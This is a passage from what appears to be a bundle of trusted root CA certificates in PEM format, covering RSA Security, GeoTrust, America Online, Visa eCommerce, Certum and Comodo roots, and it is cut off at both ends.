hmak8fdLQ/uEvW0wHQYJKoZIhvZ9B0EABBAwDhsIVjcuMTo0LjADAgSQMA0GCSqGSIb3DQEBBQUA A4IBAQCT1DCw1wMgKtD5Y+iRDAUgqV8ZyntyTtSx29CW+1RaGSwMCPeyvIWonX9tO1KzKtvn1ISM Y/YPyyYBkVBs9F8U4pN0wBOeMDpQ47RgxRzwIkSNcUesyBrJ6ZuaAGAT/3B+XxFNSRuzFVJ7yVTa v52Vr2ua2J7p8eRDjeIRRDq/r72DQnNSi6q7pynP9WQcCk3RvKqsnyrQ/39/2n3qse0wJcGE2jTS W3iDVuycNsMm4hH2Z0kdkquM++v/eu6FSqdQgPCnXEqULl8FmTxSQeDNtGPPAUO6nIPcj2A781q0 tHuu2guQOHXvgR1m0vdXcDazv/wor3ElhVsT/h5/WrQ8 -----END CERTIFICATE----- RSA Security 2048 v3 ==================== -----BEGIN CERTIFICATE----- MIIDYTCCAkmgAwIBAgIQCgEBAQAAAnwAAAAKAAAAAjANBgkqhkiG9w0BAQUFADA6MRkwFwYDVQQK ExBSU0EgU2VjdXJpdHkgSW5jMR0wGwYDVQQLExRSU0EgU2VjdXJpdHkgMjA0OCBWMzAeFw0wMTAy MjIyMDM5MjNaFw0yNjAyMjIyMDM5MjNaMDoxGTAXBgNVBAoTEFJTQSBTZWN1cml0eSBJbmMxHTAb BgNVBAsTFFJTQSBTZWN1cml0eSAyMDQ4IFYzMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC AQEAt49VcdKA3XtpeafwGFAyPGJn9gqVB93mG/Oe2dJBVGutn3y+Gc37RqtBaB4Y6lXIL5F4iSj7 Jylg/9+PjDvJSZu1pJTOAeo+tWN7fyb9Gd3AIb2E0S1PRsNO3Ng3OTsor8udGuorryGlwSMiuLgb WhOHV4PR8CDn6E8jQrAApX2J6elhc5SYcSa8LWrg903w8bYqODGBDSnhAMFRD0xS+ARaqn1y07iH KrtjEAMqs6FPDVpeRrc9DvV07Jmf+T0kgYim3WBU6JU2PcYJk5qjEoAAVZkZR73QpXzDuvsf9/UP +Ky5tfQ3mBMY3oVbtwyCO4dvlTlYMNpuAWgXIszACwIDAQABo2MwYTAPBgNVHRMBAf8EBTADAQH/ MA4GA1UdDwEB/wQEAwIBBjAfBgNVHSMEGDAWgBQHw1EwpKrpRa41JPr/JCwz0LGdjDAdBgNVHQ4E FgQUB8NRMKSq6UWuNST6/yQsM9CxnYwwDQYJKoZIhvcNAQEFBQADggEBAF8+hnZuuDU8TjYcHnmY v/3VEhF5Ug7uMYm83X/50cYVIeiKAVQNOvtUudZj1LGqlk2iQk3UUx+LEN5/Zb5gEydxiKRz44Rj 0aRV4VCT5hsOedBnvEbIvz8XDZXmxpBp3ue0L96VfdASPz0+f00/FGj1EVDVwfSQpQgdMWD/YIwj VAqv/qFuxdF6Kmh4zx6CCiC0H63lhbJqaHVOrSU3lIW+vaHU6rcMSzyd6BIA8F+sDeGscGNz9395 nzIlQnQFgCi/vcEkllgVsRch6YlL2weIZ/QVrXA+L02FO8K32/6YaCOJ4XQP3vTFhGMpG8zLB8kA pKnXwiJPZ9d37CAFYd4= -----END CERTIFICATE----- GeoTrust Global CA ================== -----BEGIN CERTIFICATE----- MIIDVDCCAjygAwIBAgIDAjRWMA0GCSqGSIb3DQEBBQUAMEIxCzAJBgNVBAYTAlVTMRYwFAYDVQQK Ew1HZW9UcnVzdCBJbmMuMRswGQYDVQQDExJHZW9UcnVzdCBHbG9iYWwgQ0EwHhcNMDIwNTIxMDQw MDAwWhcNMjIwNTIxMDQwMDAwWjBCMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNR2VvVHJ1c3QgSW5j LjEbMBkGA1UEAxMSR2VvVHJ1c3QgR2xvYmFsIENBMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB CgKCAQEA2swYYzD99BcjGlZ+W988bDjkcbd4kdS8odhM+KhDtgPpTSEHCIjaWC9mOSm9BXiLnTjo BbdqfnGk5sRgprDvgOSJKA+eJdbtg/OtppHHmMlCGDUUna2YRpIuT8rxh0PBFpVXLVDviS2Aelet 8u5fa9IAjbkU+BQVNdnARqN7csiRv8lVK83Qlz6cJmTM386DGXHKTubU1XupGc1V3sjs0l44U+Vc T4wt/lAjNvxm5suOpDkZALeVAjmRCw7+OC7RHQWa9k0+bw8HHa8sHo9gOeL6NlMTOdReJivbPagU vTLrGAMoUgRx5aszPeE4uwc2hGKceeoWMPRfwCvocWvk+QIDAQABo1MwUTAPBgNVHRMBAf8EBTAD AQH/MB0GA1UdDgQWBBTAephojYn7qwVkDBF9qn1luMrMTjAfBgNVHSMEGDAWgBTAephojYn7qwVk DBF9qn1luMrMTjANBgkqhkiG9w0BAQUFAAOCAQEANeMpauUvXVSOKVCUn5kaFOSPeCpilKInZ57Q zxpeR+nBsqTP3UEaBU6bS+5Kb1VSsyShNwrrZHYqLizz/Tt1kL/6cdjHPTfStQWVYrmm3ok9Nns4 d0iXrKYgjy6myQzCsplFAMfOEVEiIuCl6rYVSAlk6l5PdPcFPseKUgzbFbS9bZvlxrFUaKnjaZC2 mqUPuLk/IH2uSrW4nOQdtqvmlKXBx4Ot2/Unhw4EbNX/3aBd7YdStysVAq45pmp06drE57xNNB6p XE0zX5IJL4hmXXeXxx12E6nV5fEWCRE11azbJHFwLJhWC9kXtNHjUStedejV0NxPNO3CBWaAocvm Mw== -----END CERTIFICATE----- GeoTrust Global CA 2 ==================== -----BEGIN CERTIFICATE----- MIIDZjCCAk6gAwIBAgIBATANBgkqhkiG9w0BAQUFADBEMQswCQYDVQQGEwJVUzEWMBQGA1UEChMN R2VvVHJ1c3QgSW5jLjEdMBsGA1UEAxMUR2VvVHJ1c3QgR2xvYmFsIENBIDIwHhcNMDQwMzA0MDUw MDAwWhcNMTkwMzA0MDUwMDAwWjBEMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNR2VvVHJ1c3QgSW5j LjEdMBsGA1UEAxMUR2VvVHJ1c3QgR2xvYmFsIENBIDIwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw ggEKAoIBAQDvPE1APRDfO1MA4Wf+lGAVPoWI8YkNkMgoI5kF6CsgncbzYEbYwbLVjDHZ3CB5JIG/ NTL8Y2nbsSpr7iFY8gjpeMtvy/wWUsiRxP89c96xPqfCfWbB9X5SJBri1WeR0IIQ13hLTytCOb1k LUCgsBDTOEhGiKEMuzozKmKY+wCdE1l/bztyqu6mD4b5BWHqZ38MN5aL5mkWRxHCJ1kDs6ZgwiFA Vvqgx306E+PsV8ez1q6diYD3Aecs9pYrEw15LNnA5IZ7S4wMcoKK+xfNAGw6EzywhIdLFnopsk/b HdQL82Y3vdj2V7teJHq4PIu5+pIaGoSe2HSPqht/XvT+RSIhAgMBAAGjYzBhMA8GA1UdEwEB/wQF MAMBAf8wHQYDVR0OBBYEFHE4NvICMVNHK266ZUapEBVYIAUJMB8GA1UdIwQYMBaAFHE4NvICMVNH K266ZUapEBVYIAUJMA4GA1UdDwEB/wQEAwIBhjANBgkqhkiG9w0BAQUFAAOCAQEAA/e1K6tdEPx7 srJerJsOflN4WT5CBP51o62sgU7XAotexC3IUnbHLB/8gTKY0UvGkpMzNTEv/NgdRN3ggX+d6Yvh ZJFiCzkIjKx0nVnZellSlxG5FntvRdOW2TF9AjYPnDtuzywNA0ZF66D0f0hExghAzN4bcLUprbqL OzRldRtxIR0sFAqwlpW41uryZfspuk/qkZN0abby/+Ea0AzRdoXLiiW9l14sbxWZJue2Kf8i7MkC x1YAzUm5s2x7UwQa4qjJqhIFI8LO57sEAszAR6LkxCkvW0VXiVHuPOtSCP8HNR6fNWpHSlaY0VqF H4z1Ir+rzoPz4iIprn2DQKi6bA== -----END CERTIFICATE----- GeoTrust Universal CA ===================== -----BEGIN CERTIFICATE----- MIIFaDCCA1CgAwIBAgIBATANBgkqhkiG9w0BAQUFADBFMQswCQYDVQQGEwJVUzEWMBQGA1UEChMN R2VvVHJ1c3QgSW5jLjEeMBwGA1UEAxMVR2VvVHJ1c3QgVW5pdmVyc2FsIENBMB4XDTA0MDMwNDA1 MDAwMFoXDTI5MDMwNDA1MDAwMFowRTELMAkGA1UEBhMCVVMxFjAUBgNVBAoTDUdlb1RydXN0IElu Yy4xHjAcBgNVBAMTFUdlb1RydXN0IFVuaXZlcnNhbCBDQTCCAiIwDQYJKoZIhvcNAQEBBQADggIP ADCCAgoCggIBAKYVVaCjxuAfjJ0hUNfBvitbtaSeodlyWL0AG0y/YckUHUWCq8YdgNY96xCcOq9t JPi8cQGeBvV8Xx7BDlXKg5pZMK4ZyzBIle0iN430SppyZj6tlcDgFgDgEB8rMQ7XlFTTQjOgNB0e RXbdT8oYN+yFFXoZCPzVx5zw8qkuEKmS5j1YPakWaDwvdSEYfyh3peFhF7em6fgemdtzbvQKoiFs 7tqqhZJmr/Z6a4LauiIINQ/PQvE1+mrufislzDoR5G2vc7J2Ha3QsnhnGqQ5HFELZ1aD/ThdDc7d 8Lsrlh/eezJS/R27tQahsiFepdaVaH/wmZ7cRQg+59IJDTWU3YBOU5fXtQlEIGQWFwMCTFMNaN7V qnJNk22CDtucvc+081xdVHppCZbW2xHBjXWotM85yM48vCR85mLK4b19p71XZQvk/iXttmkQ3Cga Rr0BHdCXteGYO8A3ZNY9lO4L4fUorgtWv3GLIylBjobFS1J72HGrH4oVpjuDWtdYAVHGTEHZf9hB Z3KiKN9gg6meyHv8U3NyWfWTehd2Ds735VzZC1U0oqpbtWpU5xPKV+yXbfReBi9Fi1jUIxaS5BZu KGNZMN9QAZxjiRqf2xeUgnA3wySemkfWWspOqGmJch+RbNt+nhutxx9z3SxPGWX9f5NAEC7S8O08 ni4oPmkmM8V7AgMBAAGjYzBhMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFNq7LqqwDLiIJlF0 XG0D08DYj3rWMB8GA1UdIwQYMBaAFNq7LqqwDLiIJlF0XG0D08DYj3rWMA4GA1UdDwEB/wQEAwIB hjANBgkqhkiG9w0BAQUFAAOCAgEAMXjmx7XfuJRAyXHEqDXsRh3ChfMoWIawC/yOsjmPRFWrZIRc aanQmjg8+uUfNeVE44B5lGiku8SfPeE0zTBGi1QrlaXv9z+ZhP015s8xxtxqv6fXIwjhmF7DWgh2 qaavdy+3YL1ERmrvl/9zlcGO6JP7/TG37FcREUWbMPEaiDnBTzynANXH/KttgCJwpQzgXQQpAvvL oJHRfNbDflDVnVi+QTjruXU8FdmbyUqDWcDaU/0zuzYYm4UPFd3uLax2k7nZAY1IEKj79TiG8dsK xr2EoyNB3tZ3b4XUhRxQ4K5RirqNPnbiucon8l+f725ZDQbYKxek0nxru18UGkiPGkzns0ccjkxF KyDuSN/n3QmOGKjaQI2SJhFTYXNd673nxE0pN2HrrDktZy4W1vUAg4WhzH92xH3kt0tm7wNFYGm2 DFKWkoRepqO1pD4r2czYG0eq8kTaT/kD6PAUyz/zg97QwVTjt+gKN02LIFkDMBmhLMi9ER/frslK xfMnZmaGrGiR/9nmUxwPi1xpZQomyB40w11Re9epnAahNt3ViZS82eQtDF4JbAiXfKM9fJP/P6EU p8+1Xevb2xzEdt+Iub1FBZUbrvxGakyvSOPOrg/SfuvmbJxPgWp6ZKy7PtXny3YuxadIwVyQD8vI P/rmMuGNG2+k5o7Y+SlIis5z/iw= -----END CERTIFICATE----- GeoTrust Universal CA 2 ======================= -----BEGIN CERTIFICATE----- MIIFbDCCA1SgAwIBAgIBATANBgkqhkiG9w0BAQUFADBHMQswCQYDVQQGEwJVUzEWMBQGA1UEChMN R2VvVHJ1c3QgSW5jLjEgMB4GA1UEAxMXR2VvVHJ1c3QgVW5pdmVyc2FsIENBIDIwHhcNMDQwMzA0 MDUwMDAwWhcNMjkwMzA0MDUwMDAwWjBHMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNR2VvVHJ1c3Qg SW5jLjEgMB4GA1UEAxMXR2VvVHJ1c3QgVW5pdmVyc2FsIENBIDIwggIiMA0GCSqGSIb3DQEBAQUA A4ICDwAwggIKAoICAQCzVFLByT7y2dyxUxpZKeexw0Uo5dfR7cXFS6GqdHtXr0om/Nj1XqduGdt0 DE81WzILAePb63p3NeqqWuDW6KFXlPCQo3RWlEQwAx5cTiuFJnSCegx2oG9NzkEtoBUGFF+3Qs17 j1hhNNwqCPkuwwGmIkQcTAeC5lvO0Ep8BNMZcyfwqph/Lq9O64ceJHdqXbboW0W63MOhBW9Wjo8Q JqVJwy7XQYci4E+GymC16qFjwAGXEHm9ADwSbSsVsaxLse4YuU6W3Nx2/zu+z18DwPw76L5GG//a QMJS9/7jOvdqdzXQ2o3rXhhqMcceujwbKNZrVMaqW9eiLBsZzKIC9ptZvTdrhrVtgrrY6slWvKk2 WP0+GfPtDCapkzj4T8FdIgbQl+rhrcZV4IErKIM6+vR7IVEAvlI4zs1meaj0gVbi0IMJR1FbUGrP 20gaXT73y/Zl92zxlfgCOzJWgjl6W70viRu/obTo/3+NjN8D8WBOWBFM66M/ECuDmgFz2ZRthAAn ZqzwcEAJQpKtT5MNYQlRJNiS1QuUYbKHsu3/mjX/hVTK7URDrBs8FmtISgocQIgfksILAAX/8sgC SqSqqcyZlpwvWOB94b67B9xfBHJcMTTD7F8t4D1kkCLm0ey4Lt1ZrtmhN79UNdxzMk+MBB4zsslG 8dhcyFVQyWi9qLo2CQIDAQABo2MwYTAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBR281Xh+qQ2 +/CfXGJx7Tz0RzgQKzAfBgNVHSMEGDAWgBR281Xh+qQ2+/CfXGJx7Tz0RzgQKzAOBgNVHQ8BAf8E BAMCAYYwDQYJKoZIhvcNAQEFBQADggIBAGbBxiPz2eAubl/oz66wsCVNK/g7WJtAJDday6sWSf+z dXkzoS9tcBc0kf5nfo/sm+VegqlVHy/c1FEHEv6sFj4sNcZj/NwQ6w2jqtB8zNHQL1EuxBRa3ugZ 4T7GzKQp5y6EqgYweHZUcyiYWTjgAA1i00J9IZ+uPTqM1fp3DRgrFg5fNuH8KrUwJM/gYwx7WBr+ mbpCErGR9Hxo4sjoryzqyX6uuyo9DRXcNJW2GHSoag/HtPQTxORb7QrSpJdMKu0vbBKJPfEncKpq A1Ihn0CoZ1Dy81of398j9tx4TuaYT1U6U+Pv8vSfx3zYWK8pIpe44L2RLrB27FcRz+8pRPPphXpg Y+RdM4kX2TGq2tbzGDVyz4crL2MjhF2EjD9XoIj8mZEoJmmZ1I+XRL6O1UixpCgp8RW04eWe3fiP pm8m1wk8OhwRDqZsN/etRIcsKMfYdIKz0G9KV7s1KSegi+ghp4dkNl3M2Basx7InQJJVOCiNUW7d FGdTbHFcJoRNdVq2fmBWqU2t+5sel/MN2dKXVHfaPRK34B7vCAas+YWH6aLcr34YEoP9VhdBLtUp gn2Z9DH2canPLAEnpQW5qrJITirvn5NSUZU8UnOOVkwXQMAJKOSLakhT2+zNVVXxxvjpoixMptEm X36vWkzaH6byHCx+rgIW0lbQL1dTR+iS -----END CERTIFICATE----- America Online Root Certification Authority 1 ============================================= -----BEGIN CERTIFICATE----- MIIDpDCCAoygAwIBAgIBATANBgkqhkiG9w0BAQUFADBjMQswCQYDVQQGEwJVUzEcMBoGA1UEChMT QW1lcmljYSBPbmxpbmUgSW5jLjE2MDQGA1UEAxMtQW1lcmljYSBPbmxpbmUgUm9vdCBDZXJ0aWZp Y2F0aW9uIEF1dGhvcml0eSAxMB4XDTAyMDUyODA2MDAwMFoXDTM3MTExOTIwNDMwMFowYzELMAkG A1UEBhMCVVMxHDAaBgNVBAoTE0FtZXJpY2EgT25saW5lIEluYy4xNjA0BgNVBAMTLUFtZXJpY2Eg T25saW5lIFJvb3QgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgMTCCASIwDQYJKoZIhvcNAQEBBQAD ggEPADCCAQoCggEBAKgv6KRpBgNHw+kqmP8ZonCaxlCyfqXfaE0bfA+2l2h9LaaLl+lkhsmj76CG v2BlnEtUiMJIxUo5vxTjWVXlGbR0yLQFOVwWpeKVBeASrlmLojNoWBym1BW32J/X3HGrfpq/m44z DyL9Hy7nBzbvYjnF3cu6JRQj3gzGPTzOggjmZj7aUTsWOqMFf6Dch9Wc/HKpoH145LcxVR5lu9Rh sCFg7RAycsWSJR74kEoYeEfffjA3PlAb2xzTa5qGUwew76wGePiEmf4hjUyAtgyC9mZweRrTT6PP 8c9GsEsPPt2IYriMqQkoO3rHl+Ee5fSfwMCuJKDIodkP1nsmgmkyPacCAwEAAaNjMGEwDwYDVR0T AQH/BAUwAwEB/zAdBgNVHQ4EFgQUAK3Zo/Z59m50qX8zPYEX10zPM94wHwYDVR0jBBgwFoAUAK3Z o/Z59m50qX8zPYEX10zPM94wDgYDVR0PAQH/BAQDAgGGMA0GCSqGSIb3DQEBBQUAA4IBAQB8itEf GDeC4Liwo+1WlchiYZwFos3CYiZhzRAW18y0ZTTQEYqtqKkFZu90821fnZmv9ov761KyBZiibyrF VL0lvV+uyIbqRizBs73B6UlwGBaXCBOMIOAbLjpHyx7kADCVW/RFo8AasAFOq73AI25jP4BKxQft 3OJvx8Fi8eNy1gTIdGcL+oiroQHIb/AUr9KZzVGTfu0uOMe9zkZQPXLjeSWdm4grECDdpbgyn43g Kd8hdIaC2y+CMMbHNYaz+ZZfRtsMRf3zUMNvxsNIrUam4SdHCh0Om7bCd39j8uB9Gr784N/Xx6ds sPmuujz9dLQR6FgNgLzTqIA6me11zEZ7 -----END CERTIFICATE----- America Online Root Certification Authority 2 ============================================= -----BEGIN CERTIFICATE----- MIIFpDCCA4ygAwIBAgIBATANBgkqhkiG9w0BAQUFADBjMQswCQYDVQQGEwJVUzEcMBoGA1UEChMT QW1lcmljYSBPbmxpbmUgSW5jLjE2MDQGA1UEAxMtQW1lcmljYSBPbmxpbmUgUm9vdCBDZXJ0aWZp Y2F0aW9uIEF1dGhvcml0eSAyMB4XDTAyMDUyODA2MDAwMFoXDTM3MDkyOTE0MDgwMFowYzELMAkG A1UEBhMCVVMxHDAaBgNVBAoTE0FtZXJpY2EgT25saW5lIEluYy4xNjA0BgNVBAMTLUFtZXJpY2Eg T25saW5lIFJvb3QgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgMjCCAiIwDQYJKoZIhvcNAQEBBQAD ggIPADCCAgoCggIBAMxBRR3pPU0Q9oyxQcngXssNt79Hc9PwVU3dxgz6sWYFas14tNwC206B89en fHG8dWOgXeMHDEjsJcQDIPT/DjsS/5uN4cbVG7RtIuOx238hZK+GvFciKtZHgVdEglZTvYYUAQv8 f3SkWq7xuhG1m1hagLQ3eAkzfDJHA1zEpYNI9FdWboE2JxhP7JsowtS013wMPgwr38oE18aO6lhO qKSlGBxsRZijQdEt0sdtjRnxrXm3gT+9BoInLRBYBbV4Bbkv2wxrkJB+FFk4u5QkE+XRnRTf04JN RvCAOVIyD+OEsnpD8l7eXz8d3eOyG6ChKiMDbi4BFYdcpnV1x5dhvt6G3NRI270qv0pV2uh9UPu0 gBe4lL8BPeraunzgWGcXuVjgiIZGZ2ydEEdYMtA1fHkqkKJaEBEjNa0vzORKW6fIJ/KD3l67Xnfn 6KVuY8INXWHQjNJsWiEOyiijzirplcdIz5ZvHZIlyMbGwcEMBawmxNJ10uEqZ8A9W6Wa6897Gqid FEXlD6CaZd4vKL3Ob5Rmg0gp2OpljK+T2WSfVVcmv2/LNzGZo2C7HK2JNDJiuEMhBnIMoVxtRsX6 Kc8w3onccVvdtjc+31D1uAclJuW8tf48ArO3+L5DwYcRlJ4jbBeKuIonDFRH8KmzwICMoCfrHRnj B453cMor9H124HhnAgMBAAGjYzBhMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFE1FwWg4u3Op aaEg5+31IqEjFNeeMB8GA1UdIwQYMBaAFE1FwWg4u3OpaaEg5+31IqEjFNeeMA4GA1UdDwEB/wQE AwIBhjANBgkqhkiG9w0BAQUFAAOCAgEAZ2sGuV9FOypLM7PmG2tZTiLMubekJcmnxPBUlgtk87FY T15R/LKXeydlwuXK5w0MJXti4/qftIe3RUavg6WXSIylvfEWK5t2LHo1YGwRgJfMqZJS5ivmae2p +DYtLHe/YUjRYwu5W1LtGLBDQiKmsXeu3mnFzcccobGlHBD7GL4acN3Bkku+KVqdPzW+5X1R+FXg JXUjhx5c3LqdsKyzadsXg8n33gy8CNyRnqjQ1xU3c6U1uPx+xURABsPr+CKAXEfOAuMRn0T//Zoy zH1kUQ7rVyZ2OuMeIjzCpjbdGe+n/BLzJsBZMYVMnNjP36TMzCmT/5RtdlwTCJfy7aULTd3oyWgO ZtMADjMSW7yV5TKQqLPGbIOtd+6Lfn6xqavT4fG2wLHqiMDn05DpKJKUe2h7lyoKZy2FAjgQ5ANh 1NolNscIWC2hp1GvMApJ9aZphwctREZ2jirlmjvXGKL8nDgQzMY70rUXOm/9riW99XJZZLF0Kjhf GEzfz3EEWjbUvy+ZnOjZurGV5gJLIaFb1cFPj65pbVPbAZO1XB4Y3WRayhgoPmMEEf0cjQAPuDff Z4qdZqkCapH/E8ovXYO8h5Ns3CRRFgQlZvqz2cK6Kb6aSDiCmfS/O0oxGfm/jiEzFMpPVF/7zvuP cX/9XhmgD0uRuMRUvAawRY8mkaKO/qk= -----END CERTIFICATE----- Visa eCommerce Root =================== -----BEGIN CERTIFICATE----- MIIDojCCAoqgAwIBAgIQE4Y1TR0/BvLB+WUF1ZAcYjANBgkqhkiG9w0BAQUFADBrMQswCQYDVQQG EwJVUzENMAsGA1UEChMEVklTQTEvMC0GA1UECxMmVmlzYSBJbnRlcm5hdGlvbmFsIFNlcnZpY2Ug QXNzb2NpYXRpb24xHDAaBgNVBAMTE1Zpc2EgZUNvbW1lcmNlIFJvb3QwHhcNMDIwNjI2MDIxODM2 WhcNMjIwNjI0MDAxNjEyWjBrMQswCQYDVQQGEwJVUzENMAsGA1UEChMEVklTQTEvMC0GA1UECxMm VmlzYSBJbnRlcm5hdGlvbmFsIFNlcnZpY2UgQXNzb2NpYXRpb24xHDAaBgNVBAMTE1Zpc2EgZUNv bW1lcmNlIFJvb3QwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCvV95WHm6h2mCxlCfL F9sHP4CFT8icttD0b0/Pmdjh28JIXDqsOTPHH2qLJj0rNfVIsZHBAk4ElpF7sDPwsRROEW+1QK8b RaVK7362rPKgH1g/EkZgPI2h4H3PVz4zHvtH8aoVlwdVZqW1LS7YgFmypw23RuwhY/81q6UCzyr0 TP579ZRdhE2o8mCP2w4lPJ9zcc+U30rq299yOIzzlr3xF7zSujtFWsan9sYXiwGd/BmoKoMWuDpI /k4+oKsGGelT84ATB+0tvz8KPFUgOSwsAGl0lUq8ILKpeeUYiZGo3BxN77t+Nwtd/jmliFKMAGzs GHxBvfaLdXe6YJ2E5/4tAgMBAAGjQjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEG MB0GA1UdDgQWBBQVOIMPPyw/cDMezUb+B4wg4NfDtzANBgkqhkiG9w0BAQUFAAOCAQEAX/FBfXxc CLkr4NWSR/pnXKUTwwMhmytMiUbPWU3J/qVAtmPN3XEolWcRzCSs00Rsca4BIGsDoo8Ytyk6feUW YFN4PMCvFYP3j1IzJL1kk5fui/fbGKhtcbP3LBfQdCVp9/5rPJS+TUtBjE7ic9DjkCJzQ83z7+pz zkWKsKZJ/0x9nXGIxHYdkFsd7v3M9+79YKWxehZx0RbQfBI8bGmX265fOZpwLwU8GUYEmSA20GBu YQa7FkKMcPcw++DbZqMAAb3mLNqRX6BGi01qnD093QVG/na/oAo85ADmJ7f/hC3euiInlhBx6yLt 398znM/jra6O1I7mT1GvFpLgXPYHDw== -----END CERTIFICATE----- Certum Root CA ============== -----BEGIN CERTIFICATE----- MIIDDDCCAfSgAwIBAgIDAQAgMA0GCSqGSIb3DQEBBQUAMD4xCzAJBgNVBAYTAlBMMRswGQYDVQQK ExJVbml6ZXRvIFNwLiB6IG8uby4xEjAQBgNVBAMTCUNlcnR1bSBDQTAeFw0wMjA2MTExMDQ2Mzla Fw0yNzA2MTExMDQ2MzlaMD4xCzAJBgNVBAYTAlBMMRswGQYDVQQKExJVbml6ZXRvIFNwLiB6IG8u by4xEjAQBgNVBAMTCUNlcnR1bSBDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAM6x wS7TT3zNJc4YPk/EjG+AanPIW1H4m9LcuwBcsaD8dQPugfCI7iNS6eYVM42sLQnFdvkrOYCJ5JdL kKWoePhzQ3ukYbDYWMzhbGZ+nPMJXlVjhNWo7/OxLjBos8Q82KxujZlakE403Daaj4GIULdtlkIJ 89eVgw1BS7Bqa/j8D35in2fE7SZfECYPCE/wpFcozo+47UX2bu4lXapuOb7kky/ZR6By6/qmW6/K Uz/iDsaWVhFu9+lmqSbYf5VT7QqFiLpPKaVCjF62/IUgAKpoC6EahQGcxEZjgoi2IrHu/qpGWX7P NSzVttpd90gzFFS269lvzs2I1qsb2pY7HVkCAwEAAaMTMBEwDwYDVR0TAQH/BAUwAwEB/zANBgkq hkiG9w0BAQUFAAOCAQEAuI3O7+cUus/usESSbLQ5PqKEbq24IXfS1HeCh+YgQYHu4vgRt2PRFze+ GXYkHAQaTOs9qmdvLdTN/mUxcMUbpgIKumB7bVjCmkn+YzILa+M6wKyrO7Do0wlRjBCDxjTgxSvg GrZgFCdsMneMvLJymM/NzD+5yCRCFNZX/OYmQ6kd5YCQzgNUKD73P9P4Te1qCjqTE5s7FCMTY5w/ 0YcneeVMUeMBrYVdGjux1XMQpNPyvG5k9VpWkKjHDkx0Dy5xO/fIR/RpbxXyEV6DHpx8Uq79AtoS qFlnGNu8cN2bsWntgM6JQEhqDjXKKWYVIZQs6GAqm4VKQPNriiTsBhYscw== -----END CERTIFICATE----- Comodo AAA Services root ======================== -----BEGIN CERTIFICATE----- MIIEMjCCAxqgAwIBAgIBATANBgkqhkiG9w0BAQUFADB7MQswCQYDVQQGEwJHQjEbMBkGA1UECAwS R3JlYXRlciBNYW5jaGVzdGVyMRAwDgYDVQQHDAdTYWxmb3JkMRowGAYDVQQKDBFDb21vZG8gQ0Eg TGltaXRlZDEhMB8GA1UEAwwYQUFBIENlcnRpZmljYXRlIFNlcnZpY2VzMB4XDTA0MDEwMTAwMDAw MFoXDTI4MTIzMTIzNTk1OVowezELMAkGA1UEBhMCR0IxGzAZBgNVBAgMEkdyZWF0ZXIgTWFuY2hl c3RlcjEQMA4GA1UEBwwHU2FsZm9yZDEaMBgGA1UECgwRQ29tb2RvIENBIExpbWl0ZWQxITAfBgNV BAMMGEFBQSBDZXJ0aWZpY2F0ZSBTZXJ2aWNlczCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC ggEBAL5AnfRu4ep2hxxNRUSOvkbIgwadwSr+GB+O5AL686tdUIoWMQuaBtDFcCLNSS1UY8y2bmhG C1Pqy0wkwLxyTurxFa70VJoSCsN6sjNg4tqJVfMiWPPe3M/vg4aijJRPn2jymJBGhCfHdr/jzDUs i14HZGWCwEiwqJH5YZ92IFCokcdmtet4YgNW8IoaE+oxox6gmf049vYnMlhvB/VruPsUK6+3qszW Y19zjNoFmag4qMsXeDZRrOme9Hg6jc8P2ULimAyrL58OAd7vn5lJ8S3frHRNG5i1R8XlKdH5kBjH Ypy+g8cmez6KJcfA3Z3mNWgQIJ2P2N7Sw4ScDV7oL8kCAwEAAaOBwDCBvTAdBgNVHQ4EFgQUoBEK Iz6W8Qfs4q8p74Klf9AwpLQwDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wewYDVR0f BHQwcjA4oDagNIYyaHR0cDovL2NybC5jb21vZG9jYS5jb20vQUFBQ2VydGlmaWNhdGVTZXJ2aWNl cy5jcmwwNqA0oDKGMGh0dHA6Ly9jcmwuY29tb2RvLm5ldC9BQUFDZXJ0aWZpY2F0ZVNlcnZpY2Vz LmNybDANBgkqhkiG9w0BAQUFAAOCAQEACFb8AvCb6P+k+tZ7xkSAzk/ExfYAWMymtrwUSWgEdujm 7l3sAg9g1o1QGE8mTgHj5rCl7r+8dFRBv/38ErjHT1r0iWAFf2C3BUrz9vHCv8S5dIa2LX1rzNLz Rt0vxuBqw8M0Ayx9lt1awg6nCpnBBYurDC/zXDrPbDdVCYfeU0BsWO/8tqtlbgT2G9w84FoVxp7Z 8VlIMCFlA2zs6SFz7JsDoeA3raAVGI/6ugLOpyypEBMs1OUIJqsil2D4kF501KKaU73yqWjgom7C 12yxow+ev+to51byrvLjKzg6CYG1a4XXvi3tPxq3smPi9WIsgtRqAEFQ8TmDn5XpNpaYbg== -----END CERTIFICATE----- Comodo Secure Services root =========================== -----BEGIN CERTIFICATE----- MIIEPzCCAyegAwIBAgIBATANBgkqhkiG9w0BAQUFADB+MQswCQYDVQQGEwJHQjEbMBkGA1UECAwS R3JlYXRlciBNYW5jaGVzdGVyMRAwDgYDVQQHDAdTYWxmb3JkMRowGAYDVQQKDBFDb21vZG8gQ0Eg TGltaXRlZDEkMCIGA1UEAwwbU2VjdXJlIENlcnRpZmljYXRlIFNlcnZpY2VzMB4XDTA0MDEwMTAw MDAwMFoXDTI4MTIzMTIzNTk1OVowfjELMAkGA1UEBhMCR0IxGzAZBgNVBAgMEkdyZWF0ZXIgTWFu Y2hlc3RlcjEQMA4GA1UEBwwHU2FsZm9yZDEaMBgGA1UECgwRQ29tb2RvIENBIExpbWl0ZWQxJDAi BgNVBAMMG1NlY3VyZSBDZXJ0aWZpY2F0ZSBTZXJ2aWNlczCCASIwDQYJKoZIhvcNAQEBBQADggEP 